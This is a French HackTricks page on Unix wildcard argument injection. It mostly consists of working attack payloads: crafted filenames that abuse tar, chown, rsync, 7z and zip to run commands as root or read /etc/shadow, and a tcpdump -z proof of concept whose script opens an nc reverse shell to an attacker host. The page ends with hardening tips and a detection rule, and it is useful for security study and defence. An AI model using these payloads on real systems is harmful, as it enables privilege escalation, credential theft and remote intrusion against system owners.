Wildcards Spare Tricks

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

L'injection d'argument de wildcard (aussi appelĂ©e glob) se produit lorsqu'un script privilĂ©giĂ© exĂ©cute un binaire Unix tel que tar, chown, rsync, zip, 7z, 
 avec un wildcard non citĂ© comme *. Étant donnĂ© que le shell dĂ©veloppe le wildcard avant d'exĂ©cuter le binaire, un attaquant qui peut crĂ©er des fichiers dans le rĂ©pertoire de travail peut concevoir des noms de fichiers qui commencent par - afin qu'ils soient interprĂ©tĂ©s comme options au lieu de donnĂ©es, permettant ainsi de faire passer des drapeaux arbitraires ou mĂȘme des commandes. Cette page recueille les primitives les plus utiles, les recherches rĂ©centes et les dĂ©tections modernes pour 2023-2025.

chown / chmod

Vous pouvez copier le propriétaire/groupe ou les bits de permission d'un fichier arbitraire en abusant du drapeau --reference :

bash
# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

Lorsque root exécute ensuite quelque chose comme :

bash
chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file est injecté, ce qui fait que tous les fichiers correspondants héritent de la propriété/des permissions de /root/secret``file.

PoC & outil : wildpwn (attaque combinée).
Voir aussi le document classique de DefenseCode pour plus de détails.


tar

GNU tar (Linux, *BSD, busybox-full)

Exécutez des commandes arbitraires en abusant de la fonctionnalité checkpoint :

bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Une fois que root exécute par exemple tar -czf /root/backup.tgz *, shell.sh est exécuté en tant que root.

bsdtar / macOS 14+

Le tar par défaut sur les versions récentes de macOS (basé sur libarchive) n'implémente pas --checkpoint, mais vous pouvez toujours obtenir une exécution de code avec le drapeau --use-compress-program qui vous permet de spécifier un compresseur externe.

bash
# macOS example
touch "--use-compress-program=/bin/sh"

Lorsque un script privilégié exécute tar -cf backup.tar *, /bin/sh sera lancé.


rsync

rsync vous permet de remplacer le shell distant ou mĂȘme le binaire distant via des options de ligne de commande qui commencent par -e ou --rsync-path:

bash
# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

Si root archive ensuite le répertoire avec rsync -az * backup:/srv/, le drapeau injecté lance votre shell du cÎté distant.

PoC: wildpwn (rsync mode).


7-Zip / 7z / 7za

MĂȘme lorsque le script privilĂ©giĂ© dĂ©fensivement prĂ©fixe le caractĂšre gĂ©nĂ©rique avec -- (pour arrĂȘter l'analyse des options), le format 7-Zip prend en charge les fichiers de liste de fichiers en prĂ©fixant le nom de fichier avec @. Combiner cela avec un lien symbolique vous permet d'exfiltrer des fichiers arbitraires :

bash
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

Si root exécute quelque chose comme :

bash
7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip tentera de lire root.txt (→ /etc/shadow) comme une liste de fichiers et Ă©chouera, imprimant le contenu sur stderr.


zip

zip prend en charge le drapeau --unzip-command qui est passé tel quel au shell systÚme lorsque l'archive sera testée :

bash
zip result.zip files -T --unzip-command "sh -c id"

Injectez le drapeau via un nom de fichier conçu et attendez que le script de sauvegarde privilégié appelle zip -T (tester l'archive) sur le fichier résultant.


Binaries supplémentaires vulnérables à l'injection de jokers (liste rapide 2023-2025)

Les commandes suivantes ont été abusées dans des CTF modernes et des environnements réels. La charge utile est toujours créée en tant que nom de fichier à l'intérieur d'un répertoire écrivable qui sera ensuite traité avec un joker :

BinaireDrapeau Ă  abuserEffet
bsdtar--newer-mtime=@<epoch> → @file arbitraireLire le contenu du fichier
flock-c <cmd>Exécuter la commande
git-c core.sshCommand=<cmd>Exécution de commande via git sur SSH
scp-S <cmd>Lancer un programme arbitraire au lieu de ssh

Ces primitives sont moins courantes que les classiques tar/rsync/zip mais valent la peine d'ĂȘtre vĂ©rifiĂ©es lors de la chasse.


Hooks de rotation tcpdump (-G/-W/-z) : RCE via injection argv dans les wrappers

Lorsqu'un shell restreint ou un wrapper de fournisseur construit une ligne de commande tcpdump en concaténant des champs contrÎlés par l'utilisateur (par exemple, un paramÚtre "nom de fichier") sans citation/validation stricte, vous pouvez introduire des drapeaux tcpdump supplémentaires. La combinaison de -G (rotation basée sur le temps), -W (limiter le nombre de fichiers) et -z <cmd> (commande post-rotation) permet l'exécution de commandes arbitraires en tant qu'utilisateur exécutant tcpdump (souvent root sur les appareils).

Conditions préalables :

  • Vous pouvez influencer argv passĂ© Ă  tcpdump (par exemple, via un wrapper comme /debug/tcpdump --filter=... --file-name=<HERE>).
  • Le wrapper ne nettoie pas les espaces ou les tokens prĂ©fixĂ©s par - dans le champ du nom de fichier.

PoC classique (exécute un script de shell inversé depuis un chemin écrivable) :

sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Détails :

  • -G 1 -W 1 force une rotation immĂ©diate aprĂšs le premier paquet correspondant.
  • -z <cmd> exĂ©cute la commande post-rotation une fois par rotation. De nombreuses versions exĂ©cutent <cmd> <savefile>. Si <cmd> est un script/interprĂ©teur, assurez-vous que la gestion des arguments correspond Ă  votre charge utile.

Variantes sans média amovible :

  • Si vous avez un autre moyen d'Ă©crire des fichiers (par exemple, un wrapper de commande sĂ©parĂ© qui permet la redirection de sortie), placez votre script dans un chemin connu et dĂ©clenchez -z /bin/sh /path/script.sh ou -z /path/script.sh selon la sĂ©mantique de la plateforme.
  • Certains wrappers de fournisseurs tournent vers des emplacements contrĂŽlables par l'attaquant. Si vous pouvez influencer le chemin tournĂ© (symlink/traversĂ©e de rĂ©pertoire), vous pouvez orienter -z pour exĂ©cuter du contenu que vous contrĂŽlez entiĂšrement sans mĂ©dia externe.

Conseils de durcissement pour les fournisseurs :

  • Ne passez jamais de chaĂźnes contrĂŽlĂ©es par l'utilisateur directement Ă  tcpdump (ou Ă  tout outil) sans listes d'autorisation strictes. Citez et validez.
  • N'exposez pas la fonctionnalitĂ© -z dans les wrappers ; exĂ©cutez tcpdump avec un modĂšle fixe et sĂ»r et interdisez complĂštement les drapeaux supplĂ©mentaires.
  • Abaissez les privilĂšges de tcpdump (cap_net_admin/cap_net_raw uniquement) ou exĂ©cutez sous un utilisateur non privilĂ©giĂ© dĂ©diĂ© avec confinement AppArmor/SELinux.

Détection & Durcissement

  1. DĂ©sactivez le globbing de shell dans les scripts critiques : set -f (set -o noglob) empĂȘche l'expansion des jokers.
  2. Citez ou Ă©chappez les arguments : tar -czf "$dst" -- * n'est pas sĂ»r — prĂ©fĂ©rez find . -type f -print0 | xargs -0 tar -czf "$dst".
  3. Chemins explicites : Utilisez /var/www/html/*.log au lieu de * afin que les attaquants ne puissent pas créer de fichiers frÚres commençant par -.
  4. Moins de privilÚges : Exécutez des tùches de sauvegarde/maintenance en tant que compte de service non privilégié au lieu de root chaque fois que possible.
  5. Surveillance : La rĂšgle prĂ©construite d'Elastic Potential Shell via Wildcard Injection recherche tar --checkpoint=*, rsync -e*, ou zip --unzip-command immĂ©diatement suivi d'un processus enfant shell. La requĂȘte EQL peut ĂȘtre adaptĂ©e pour d'autres EDR.

Références

  • Elastic Security – RĂšgle dĂ©tectĂ©e Potential Shell via Wildcard Injection (derniĂšre mise Ă  jour 2025)
  • Rutger Flohil – “macOS — Tar wildcard injection” (18 dĂ©c. 2024)
  • GTFOBins – tcpdump
  • FiberGateway GR241AG – Full Exploit Chain

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks